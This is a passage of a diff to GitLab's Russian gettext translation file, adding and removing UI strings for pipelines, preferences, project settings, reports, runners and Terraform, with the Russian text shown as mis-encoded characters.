msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr "ЗагружаютÑÑ Ñборочные линии"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "КÑш проекта уÑпешно очищен."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr "ЗапуÑтить Ñборочную линию"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Что-то пошло не так, при очиÑтке кÑша обработчиков заданий."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr "Выберите, какое Ñодержимое вы хотите ви
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr "Выберите Ñодержимое, которое вы хотите видеть на вашей главной Ñтранице."
-msgid "Preferences|Customize integrations with third party services."
-msgstr "ÐаÑтройте интеграцию Ñо Ñторонними ÑервиÑами."
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "ÐаÑтройте внешний вид верхней и боковой панели навигации."
msgid "Preferences|Display time in 24-hour format"
msgstr "Отображать Ð²Ñ€ÐµÐ¼Ñ Ð² 24-чаÑовом формате"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr "Ðапример, 30 минут назад."
@@ -20351,9 +20818,6 @@ msgstr "Содержимое главной Ñтраницы"
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr "ВмеÑто того чтобы показывать вÑе изменённые файлы, показывать только один файл. Чтобы переключатьÑÑ Ð¼ÐµÐ¶Ð´Ñƒ файлами, нужно будет иÑпользовать браузер файлов."
-msgid "Preferences|Integrations"
-msgstr "Интеграции"
-
msgid "Preferences|Layout width"
msgstr "Ширина макета"
@@ -20375,9 +20839,6 @@ msgstr "Показывать только один файл во вкладке
msgid "Preferences|Show whitespace changes in diffs"
msgstr "Показывать Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð±ÐµÐ»Ð¾Ð² в отличиÑÑ…"
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "Тема подÑветки ÑинтакÑиÑа"
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr "Профиль"
msgid "Profile Settings"
msgstr "ÐаÑтройки профилÑ"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr "на"
@@ -20570,6 +21052,9 @@ msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ навÑегда удалить %{yourAccoun
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ изменить Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{currentUsernameBold} на %{newUsernameBold}. Профиль и проекты будут перенаправлены в проÑтранÑтво имен %{newUsername}, но Ñто перенаправление переÑтанет дейÑтвовать, как только проÑтранÑтво имён %{currentUsername} будет зарегиÑтрировано другим пользователем или группой. ПожалуйÑта, как можно Ñкорее, обновите указатели на Ñвои удаленные репозитории Git."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr "Ðватар будет удален. Ð’Ñ‹ уверены?"
msgid "Profiles|Bio"
msgstr "О Ñебе"
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr "Изменить Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ"
@@ -20957,9 +21445,6 @@ msgstr "Ðватар проекта"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr "Ðе разрешать"
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "Включить опцию 'Удалить иÑходную ветку' по умолчанию"
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr "ВнутреннÑÑ"
@@ -21314,9 +21805,6 @@ msgstr "Страницы Ð´Ð»Ñ Ð´Ð¾ÐºÑƒÐ¼ÐµÐ½Ñ‚Ð°Ñ†Ð¸Ð¸ проекта"
msgid "ProjectSettings|Pipelines"
msgstr "Сборочные линии"
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "Сборочные линии должны уÑпешно выполнитьÑÑ"
@@ -21338,6 +21826,12 @@ msgstr "Репозиторий"
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr "ПроÑмотр и редактирование файлов в ÑтоÐ
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr "Когда возникают конфликты, пользователю предоÑтавлÑетÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑ‚ÑŒ объединить изменениÑ, Ñделанные в одной ветке, Ñ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ веткой"
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr "ПовыÑить до групповой метки"
@@ -22103,6 +22603,9 @@ msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸"
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr "ИÑпользуйте push, чтобы Ñоздать проект"
@@ -22256,6 +22759,9 @@ msgstr "Коды воÑÑтановлениÑ"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr "Уменьшить облаÑÑ‚ÑŒ видимоÑти проекта"
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr "Релизы"
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr "Запомнить менÑ"
-
msgid "Remind later"
msgstr "Ðапомнить позже"
@@ -22654,9 +23157,6 @@ msgstr "УдалÑет дату завершениÑ."
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr "Удаление Ñтой группы также приведет к удалению вÑех дочерних проектов, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð°Ñ€Ñ…Ð¸Ð²Ð½Ñ‹Ðµ, а также их реÑурÑов."
@@ -22672,15 +23172,12 @@ msgstr "Переименовать/перемеÑтить"
msgid "Reopen"
msgstr "Открыть заново"
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr "Открыть цель повторно"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "Вновь открыть Ñтап"
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr "Отказ"
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "Репозиторий"
@@ -22907,6 +23430,9 @@ msgstr "ОчиÑтка репозиториÑ"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "ОчиÑтка Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ Ð½Ð°Ñ‡Ð°Ð»Ð°ÑÑŒ. Ð’Ñ‹ получите пиÑьмо поÑле ее завершениÑ."
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr "Хранилище репозиториÑ"
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr "Отправить повторно"
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "СброÑить ключ доÑтупа проверки работоÑпоÑобноÑти"
@@ -23197,6 +23729,9 @@ msgstr "РеÑинхронизировать вÑе %{replicableType}"
msgid "Retry"
msgstr "Повторить"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "Повторить Ñто фоновое задание"
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "Рецензировать"
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "Сохранить в любом Ñлучае"
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr "Сохранить пароль"
msgid "Save pipeline schedule"
msgstr "Сохранить раÑпиÑание Ñборочной лини"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "Прокрутить вниз"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr "Прокрутить влево"
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr "в"
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr "ПоÑмотреть метрики"
msgid "See the affected projects in the GitLab admin panel"
msgstr "ПоÑмотреть затрагиваемые проекты в панели админиÑтратора GitLab"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr "ПоÑмотрите, что нового в Gitlab"
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr "Выберите необходимый регулÑторный Ñтандарт"
@@ -24678,12 +25210,6 @@ msgstr "ÐаÑтройте макÑимальное чиÑло минут длÑ
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "ÐаÑтройте Ñвой проект, чтобы автоматичеÑки загружать и/или Ñкачивать Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð²/из другого репозиториÑ. Ветки, теги и коммиты будут ÑинхронизироватьÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки."
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "УÑтановить приоритет"
msgid "Set weight to %{weight}."
msgstr "УÑтановить приоритет на %{weight}."
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "уÑтановите пароль"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "Добавить Ñмайл"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "ОчиÑтить ÑтатуÑ"
@@ -24759,6 +25294,9 @@ msgstr "Изменить ÑтатуÑ"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "Извините, мы не Ñмогли изменить ваш ÑтатуÑ. ПожалуйÑта, попробуйте позже."
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "Как у Ð²Ð°Ñ Ð´ÐµÐ»Ð°?"
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "ЕÑли вы когда-нибудь потерÑете Ñвой телефон или доÑтуп к вашему одноразовому паролю, каждый из Ñтих кодов воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ быть иÑпользован один раз, чтобы воÑÑтановить доÑтуп к вашей учетной запиÑи. ПожалуйÑта, храните их в надежном меÑте, или вы %{b_start}можете%{b_end} потерÑÑ‚ÑŒ доÑтуп к вашему аккаунту."
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr "Показать поÑледнюю верÑию"
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] "Показано %d ÑобытиÑ"
msgstr[2] "Показано %d Ñобытий"
msgstr[3] "Показано %d Ñобытий"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,11 +25587,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ñ€ÐµÐ³Ð¸Ñтрации"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "Ð˜Ð¼Ñ Ñлишком длинное (макÑимум - %{max_length} Ñимволов)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "Ð¤Ð°Ð¼Ð¸Ð»Ð¸Ñ Ñлишком Ð´Ð»Ð¸Ð½Ð½Ð°Ñ (макÑимум - %{max_length} Ñимволов)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "Слишком длинное Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (макÑимум %{max_length} Ñимволов)."
@@ -25100,6 +25644,9 @@ msgstr "ПропуÑтить уÑтаревшие Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr "Ðекоторые из целей могут быть не видны. План Ñ€Ð°Ð·Ð²Ð¸Ñ‚Ð¸Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶Ð°ÐµÑ‚ только первую 1000 целей из отÑортированного ÑпиÑка."
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr "Что-то пошло не так при архивировании требованиÑ."
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr "Что-то пошло не так при повторном открытии требованиÑ."
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr "Эта возможноÑÑ‚ÑŒ ÑкÑÐ¿ÐµÑ€Ð¸Ð¼ÐµÐ½Ñ‚Ð°Ð»ÑŒÐ½Ð°Ñ Ð¸ до
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "Эта возможноÑÑ‚ÑŒ ÑкÑпериментальнаÑ."
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "ИÑпользует %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr "Укажите Ñледующий URL во Ð²Ñ€ÐµÐ¼Ñ Ð½Ð°Ñтройки Gitlab Runner:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr "ОпиÑание Ð´Ð»Ñ Ð¾Ð±ÑŠÐµÐ´Ð¸Ð½ÐµÐ½Ð½Ð¾Ð³Ð¾ (squash) коммита"
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr "Ðачните беÑплатный пробный период Gold"
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr "Будьте в курÑе производительноÑти и работоÑпоÑобноÑти вашего Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ наÑтройки Prometheus Ð´Ð»Ñ Ð¼Ð¾Ð½Ð¸Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ð° ваших развёртываний."
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr "МакÑимальное количеÑтво иÑпользуемых Ð
msgid "SubscriptionTable|Next invoice"
msgstr "Следующий Ñчет"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "МеÑта, иÑпользуемые в наÑтоÑщее времÑ"
@@ -26108,6 +26670,9 @@ msgstr "КоличеÑтво меÑÑ‚ в подпиÑке"
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "Дата Ð¾ÐºÐ¾Ð½Ñ‡Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð´Ð¿Ð¸Ñки"
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr "Синхронизировано"
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Шаблон"
@@ -26540,6 +27108,9 @@ msgstr "СоглаÑие Ñ Ð£ÑловиÑми иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ ПÐ
msgid "Terms of Service and Privacy Policy"
msgstr "УÑÐ»Ð¾Ð²Ð¸Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ Политика конфиденциальноÑти"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "ТеÑÑ‚"
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
